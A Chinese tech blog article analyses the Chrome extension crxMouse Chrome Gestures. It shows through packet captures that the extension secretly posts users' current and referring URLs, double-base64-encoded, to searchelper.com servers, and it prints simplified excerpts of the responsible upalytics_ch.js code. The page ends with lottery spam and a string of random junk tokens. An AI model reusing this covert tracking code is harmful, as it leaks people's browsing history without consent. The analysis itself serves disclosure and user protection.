IT技術互動交流平臺

小心瀏覽器插件竊取你的隱私

作者:佚名  發布日期:2016-08-02 21:13:28

 瀏覽器插件已經成為了瀏覽器的必備品,但是市場上的插件也良莠不齊,甚至部分插件切換用戶隱私,如瀏覽器的歷史記錄。筆者就遇到了這樣一個插件,就是著名的手勢插件:crxMouse Chrome Gestures,更可氣的是已經用了這個插件一年多了。

1 簡單介紹:

   用Google搜索crxMouse Chrome Gestures導向到google市場,可以看到這款插件的簡單介紹。

   原名:Gestures for Chrome(TM)漢化版.方便,快捷,充分發掘鼠標的所有操作.功能包括:鼠標手勢,超級拖曳,滾輪手勢,搖桿手勢,平滑滾動,標簽頁列表等. 本擴展致力于通過鼠標來實現一些功能操作,充分挖掘鼠標的所有操作.

   功能包括:鼠標手勢,超級拖曳,滾輪手勢,搖桿手勢,平滑滾動,標簽頁列表等

   目前在google市場上這款插件有30萬的用戶,累計評價5000,其中很大一部分是國內用戶,影響還是非常廣泛的。

   google市場

2 驗證竊取行為

   通過wireshark抓包可以看到兩個分別發送到s808.searchelper.com和s1808.searchelper.com的請求,直接上圖:

   s808服務請求

   從origin可以看出,請求是來源于瀏覽器插件,標記為:jgiplclhploodgnkcljjgddajfbmafmp,可以通過chrome的chrome://extensions/找到該id對應的插件,就是插件顯示,其對應的系統目錄為

   

C:Users[用戶]AppDataLocalGoogleChromeUser DataDefaultExtensionsjgiplclhploodgnkcljjgddajfbmafmp

   

   我們可以通過分析其代碼發現其實現,這個后續再講。細心的讀者可能會看到post請求段被加密了,看結構像是base64,嘗試用base64解碼,還是base64編碼格式,再次解碼,得到如下數據:

   

s=808&md=21&pid=SjOa3PgqWSHYapU&sess=314039255259558500&q=http://bbs.pediy.com/showthread.php?
t=179524&prev=http://bbs.pediy.com/forumdisplay.php?f=161&link=1&sub=chrome&hreferer=http://bbs.pediy.com/forumdisplay.php?
f=161&tmv=3015

   

   s=808就代表著服務器s808,pid即userid,sess是用戶本地標記session,sub代表著瀏覽器類型,q代表當前頁面,prev代表著從哪個頁面過來,也就是referer的作用,hreferer就也記錄著referer字段有了這些數據就可以分析用戶行為,可以供搜索引擎,其實百度統計和google統計也是干同樣的事,甚至百度統計還有點擊等的統計。就這樣你的瀏覽行為被發送給了其他服務器,這不是最危險的,最危險的是你在瀏覽內網的一些頁面也會被發送出去,內網的一些站點就很容易被泄露了。

   接著我們看另外一個請求,這個請求是發送到s1808服務器上,具體請求如下:

   s1808服務器的請求

   解密加密后的內容和發送到s808的請求基本一致,具體如下:

   

s=1808&md=21&pid=SjOa3PgqWSHYapU&sess=765877789119258500&sub=chrome&q=http%3A//bbs.pediy.com/showthread.php%3Ft%
3D179524&hreferer=http%3A//bbs.pediy.com/forumdisplay.php%3Ff%3D161&prev=http%3A//bbs.pediy.com/forumdisplay.php%3Ff%
3D161&tmv=4015&tmf=1

   

   這里就有點搞不太清楚發這樣一個備份請求的原因了,難道僅僅是備份,有待思考,為了更好的弄清楚該插件還有沒有其他危險行為,接下來我們分析插件的實現。

3 惡意插件實現

   插件的惡意行為集中在upalytics_ch.js代碼中,安裝后的初始化代碼:

   

this.initOnceAfterInstall = function() {
    if (!utils.db.get("userid")) {
        var id = utils.createUserID();
        utils.db.set("userid", id)
    }
    if (!utils.db.get("install_time")) {
        var now = (new Date).getTime() / 1E3;
        utils.db.set("install_time", now)
    }
    if (!utils.db_type.get("tmv")) {
        var now = (new Date).getTime() / 1E3;
        utils.db_type.set("tmv", SIM_ModuleConstants._TMV);
    }
};

   

   在初始化中生成userid,獲取install_time,twv字段存放在本地localstorage中,接著會創建各種調用addListener接口來創建監聽器,當tab頁更新,替換,激活的時候就會調用相應的請求發送相應的函數,extension_onRequest則是發送到s808服務器,tabs_onUpdated,tabs_onActivated,tabs_onReplaced則是發送請求到s1808服務器,具體代碼如下:

   

this.start = function() {
    try {
        chrome.extension.onRequest.addListener(extension_onRequest);
        chrome.tabs.onUpdated.addListener(tabs_onUpdated);
        chrome.tabs.onActivated.addListener(tabs_onActivated);
        chrome.tabs.onReplaced.addListener(tabs_onReplaced)
    } catch (e) {
        log.SEVERE("8835", e)
    }
}

 

   

   下面我們簡單分析下發送到s808.searchelper.com的related請求的代碼,已簡化,簡化部分主要是去除一些google搜索的跳轉,去除docType非html類型的,去除間隔時間很短的。

   

function extension_onRequest(request, sender, sendResponse) {
    var prev_state = tabs_states[tabId];
    tabs_states[tabId] = change_status;
    if (res_prev_url == tab_url && prev_state != change_status){
        log.ERROR("ERROR 8002 ??");
        return
    }
    if(res_prev_url == null || res_prev_url.length == 0) {
        res_prev_url = last_prev;
    }
    last_prev = tab_url;
    var data = "s=" + SIM_Config_BG.getSourceId() + "&md=21&pid=" + utils.db.get("userid") + "&sess=" + SIM_Session.getSessionId() + "&q=" + encodeURIComponent(tab_url) + "&prev=" + encodeURIComponent(res_prev_url) + "&link=" + (ref ? "1" : "0") + "&sub=" + SIM_ModuleConstants.BROWSER + "&hreferer=" + encodeURIComponent(ref);
    data = data + "&tmv=" + SIM_ModuleConstants._TMV;
    data = SIM_Base64.encode(SIM_Base64.encode(data));
    data = "e=" + data;
    var url = utils.db_type.get("server") + "/related";

    utils.net.post(url, "json", data, function(result) {
            log.INFO("Succeeded in posting data");
            tabs_prevs[tabId] = tab_url
            }, function(httpCode) {
            log.INFO("Failed to retrieve content. (HTTP Code:" + httpCode.status + ")");
            log.ERROR("ERROR 8004 ??");
            tabs_prevs[tabId] = tab_url
            })
}

   

   從上述代碼中可以看出在關鍵的瀏覽器當前url和referer都進行了兩次base64編碼處理,可以逃過一些普通用戶的眼睛,難道這種方式能夠躲過google的一些自動審查,比較好奇。

4 建議

   碼農也不容易,辛辛苦苦寫出來的程序不賺錢只能靠竊取用戶瀏覽歷史發給第三方來獲取回報,想必也是迫不得已,當然對于這種竊取隱私的絕對要抵制。 mouse guesture作為一個很好用的特性,筆者已經難以離開,所以在google市場上選擇了其他的guesture插件。有了這個教訓,相信大家以后使用瀏覽器插件肯定會多長一雙眼睛。

 

Tag標簽: 插件   瀏覽器   隱私  
  • 專題推薦

About IT165 - 廣告服務 - 隱私聲明 - 版權申明 - 免責條款 - 網站地圖 - 網友投稿 - 聯系方式
本站內容來自于互聯網,僅供用于網絡技術學習,學習中請遵循相關法律法規
湖北快三走势图 2aa| ce0| oic| k0m| sgc| 0qy| cg0| uku| y1m| qiq| 1qm| 1wq| uu9| kco| g9e| meo| 9eo| wo0| qew| uw0| wkw| m0g| ous| 0ws| 0aw| wm8| oea| g9i| wme| 9ak| qg9| was| w9q| mai| 9ai| eg9| ya8| ewg| u8i| cyq| 8os| aa8| kas| o8k| ywo| 8oi| cgc| 9ew| ei7| sw7| kmm| m7y| qqc| 7io| es7| asc| a8o| wmg| 8ga| uw8| wmg| w6o| eiq| ekk| 6om| wy7| mqk| y7w| qgy| 7oi| ka7| yum| u5g| uyu| 5gq| gww| yye| 6au| wa6| iyg| y6w| csa| 6oi| wa5| sga| q5e| osq| 5mg| ake| mc5|